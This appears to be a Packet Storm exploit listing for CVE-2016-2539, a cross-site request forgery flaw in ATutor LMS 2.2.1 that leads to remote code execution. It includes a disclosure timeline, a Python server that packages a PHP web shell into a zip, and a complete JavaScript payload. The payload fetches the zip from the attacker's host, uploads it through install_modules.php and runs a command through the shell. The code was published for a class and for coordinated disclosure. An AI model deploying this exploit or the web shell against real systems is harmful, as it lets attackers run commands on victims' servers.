what you don't know can hurt you

ATutor LMS 2.2.1 CSRF Remote Code Execution

ATutor LMS 2.2.1 CSRF Remote Code Execution
Posted Mar 7, 2016
Authored by mr_me

ATutor LMS versions 2.2.1 and below cross site request forgery remote code execution exploit that leverages install_modules.php.

tags | exploit, remote, php, code execution, csrf
advisories | CVE-2016-2539
MD5 | 5517b308f0dc455ea67cc292718ea182

ATutor LMS 2.2.1 CSRF Remote Code Execution

Change Mirror Download
/* exp.js

ATutor LMS <= 2.2.1 install_modules.php CSRF Remote Code Execution
by mr_me

Notes:
``````
- Discovered for @ipn_mx students advanced php vuln/dev class
- Tested on the latest FireFox 44.0.2 release build
- This poc simply uploads a zip file as pwn/si.php with a "<?php system($_GET['cmd']); ?>" in it
- You will need to set the Access-Control-Allow-Origin header to allow the target to pull zips
- Use this with your favorite XSS attack
- Student proof, aka bullet proof

Timeline:
`````````
23/02/2016 - notified vendor via info[at]atutor[dot]ca
24/02/2016 - requested CVE and assigned CVE-2016-2539
24/02/2016 - vendor replied stating they are investigating the issue
05/03/2016 - vendor patches the issue (https://github.com/atutor/ATutor/commit/bfc6c80c6c217c5515172f3cc949e13dfa1a92ac)
06/03/2016 - coordinated public release

Example:
````````
mr_me@jupiter:~$ cat poc.py
#!/usr/bin/python

import sys
import zipfile
import BaseHTTPServer
from cStringIO import StringIO
from SimpleHTTPServer import SimpleHTTPRequestHandler

if len(sys.argv) < 3:
print "Usage: %s <lport> <target>" % sys.argv[0]
print "eg: %s 8000 172.16.69.128" % sys.argv[0]
sys.exit(1)

def _build_zip():
"""
builds the zip file
"""
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('pwn/si.php', "<?php system($_GET['cmd']); ?>")
z.close()
handle = open('pwn.zip','wb')
handle.write(f.getvalue())
handle.close

class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
self.send_header('Access-Control-Allow-Origin', 'http://%s' % sys.argv[2])
SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
_build_zip()
BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer)

mr_me@jupiter:~$ ./poc.py 8000 172.16.69.128
Serving HTTP on 0.0.0.0 port 8000 ...
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /exp.js HTTP/1.1" 200 -
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /pwn.zip HTTP/1.1" 200 -

~ de Mexico con amor,

*/

var get_hostname = function(href) {
var l = document.createElement("a");
l.href = href;
return l.hostname + ":" + l.port;
};

function trolololol(url, file_data, filename) {
var file_size = file_data.length,
boundary = "828116593165207937691721278",
xhr = new XMLHttpRequest();

// latest ff doesnt have sendAsBinary(), so we redefine it
if(!xhr.sendAsBinary){
xhr.sendAsBinary = function(datastr) {
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
this.send(ui8a.buffer);
}
}

// the callback after this stage is done...
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
xhr = new XMLHttpRequest();
// change this if you change the zip
xhr.open("GET", "/ATutor/mods/pwn/si.php?cmd=id", true);
xhr.send();
}
}

xhr.open("POST", url, true);
// simulate a file MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", file_size);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="modulefile"; filename="' + filename + '"\r\n';
body += "Content-Type: archive/zip\r\n\r\n";
body += file_data + "\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="install_upload"\r\n\r\n';
body += "junk\r\n";
body += "--" + boundary;
xhr.sendAsBinary(body);
return true;
}

function pwn(){
var xhr = new XMLHttpRequest();
// et phone home
var home = get_hostname(document.scripts[0].src);
// get our own zip file
xhr.open('GET', 'http://' + home + '/pwn.zip', true);
xhr.responseType = 'blob';
xhr.onload = function(e) {
if (this.status == 200) {
// use the FileReader class to get the raw binary
var reader = new window.FileReader();
reader.readAsBinaryString(new Blob([this.response], {type: 'application/zip'}));
reader.onloadend = function() {
trolololol("/ATutor/mods/_core/modules/install_modules.php", reader.result, "pwn.zip");
}
}
};
xhr.send();
}

pwn();

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close